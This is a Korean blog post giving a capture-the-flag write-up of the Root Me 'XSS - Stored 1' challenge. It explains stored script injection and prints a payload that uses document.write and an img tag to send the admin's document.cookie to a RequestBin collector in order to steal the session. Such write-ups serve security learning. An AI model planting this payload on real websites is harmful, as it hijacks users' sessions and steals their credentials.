단진
대체로 맑음
단진
  • 분류 전체보기 (162)
    • 개발 (112)
      • 회고 (25)
      • 개발과정 (28)
      • 개념 (14)
      • JavaScript (11)
      • TypeScript (12)
      • 알고리즘 (4)
      • GitHub (4)
      • 오류 (9)
      • TMI (5)
    • 일상 (15)
      • 사진 및 여행 (6)
      • 책 소개 (4)
      • 기타 TMI (5)
    • IT (16)
      • 개념 (5)
      • 데이터베이스 (6)
      • 딥러닝 (1)
      • TMI (4)
    • TMI (4)
      • 법률 TMI (4)
    • 보안 (15)
      • Dreamhack (5)
      • Root Me (10)
hELLO · Designed By 정상우.
단진

대체로 맑음

Root Me: XSS - Stored 1
보안/Root Me

Root Me: XSS - Stored 1

2022. 3. 11. 01:02

문제를 보면 form이 있는 평범한 웹페이지가 나온다.

XSS와 관련이 있을거라는 생각에 스크립트를 넣어본다.

이 코드가 작동이 된다면 이 웹페이지는 사용자가 script를 삽입할 수 있다.

잘 된다. 따라서 이 웹 페이지에 적절한 코드를 삽입하면 Admin의 정보를 얻을 수 있다.

또한, 시간이 좀 지나면 내가 올린 글을 읽었다는 알림이 나온다.
즉, Admin이 이 웹페이지에 들어와 내가 쓴 메시지를 봤다.

이 Admin의 세션 쿠키를 탈취해야 하므로 Admin이 접속을 했을 때 다른 사이트에 접속하게 만들어 해당 세션 쿠키를 얻어야 한다.

따라서 img를 이용한다.

img를 이용하는 이유는 img태그에 있는 src때문이다. 누군가 웹 페이지에 접속하여 img를 로딩해야 한다면 src에 있는 링크에 접속해서 img를 가져와야 하기 때문이다.
img 태그에 특정한 주소를 넣어 Admin이 접속하는 순간 img 로딩을 위해 해당 주소에 접속하게 된다.

웹 서버를 직접 구현해도 되지만 간편하게 사용할 수 있는 사이트를 이용한다.
RequestBin — Collect, inspect and debug HTTP requests and webhooks

RequestBin — Collect, inspect and debug HTTP requests and webhooks

requestbin.net

이 사이트를 이용하면 간편하게 임시 웹 서버를 사용할 수 있으며 해당 서버에 접속하는 정보를 얻을 수 있다,

이 사이트에서 임시 서버 주소를 얻는다.

해당 주소의 뒤에 querystring(test)을 작성해서 서버에 접속하여 테스트 해본다.

이후 inspect에 접속하여

해당 주소의 접속 정보를 확인할 수 있다.
테스트용으로 작성했던 test를 잘 전달받았음을 확인할 수 있다.

따라서 아까 그 웹사이트에 이 사이트로 접속을 유도하는 img태그를 삽입하고 querystring으로 사용자의 cookie를 전송하게 만들면 된다.

<script>document.write("<img src='임시 서버 URL?"+document.cookie+"' />");</script>

위의 코드를 웹 사이트의 메시지 칸에 삽입하면 된다.

document.cookie를 통해 현재 접속한 사용자의 cookie값을 얻어서 임시 서버의 URL의 뒤에 querystring으로 그 값을 전송하도록 한다.
해당 URL을 img태그의 src에 넣어 접속과 동시에 해당 URL로 접속을 유도한다.
이 img태그는 document.write를 이용하여 document에 삽입한다

send 버튼을 누르게 되면

위와 같이 이미지 파일이 잘 입력되었다는 것을 알 수 있다. (다시 해보다가 title을 get으로 했지만 중요한 것은 아니다. 중요한 것은 img가 잘 삽입되었다는 것이다)
페이지 검사를 통해 HTML을 보면

img태그가 잘 삽입되었다.

이 상태에서 조금 기다리게 되면 Admin이 접속하여 이 img를 보게 될 것이며 Admin의 cookie값이 임시 웹 서버에 전송 될 것이다.

requestbin을 보면 Admin의 Cookie를 확인할 수 있다.

'보안 > Root Me' 카테고리의 다른 글

Root Me: Javascript - Webpack  (0) 2022.03.09
Root Me: Javascript - Native code  (0) 2022.03.09
Root Me: Javascript - Obfuscation 3  (0) 2022.03.08
Root Me: Javascript - Obfuscation 2  (0) 2022.03.08
Root Me: Javascript - Obfuscation 1  (0) 2022.03.08
    '보안/Root Me' 카테고리의 다른 글
    • Root Me: Javascript - Webpack
    • Root Me: Javascript - Native code
    • Root Me: Javascript - Obfuscation 3
    • Root Me: Javascript - Obfuscation 2
    단진
    단진

    티스토리툴바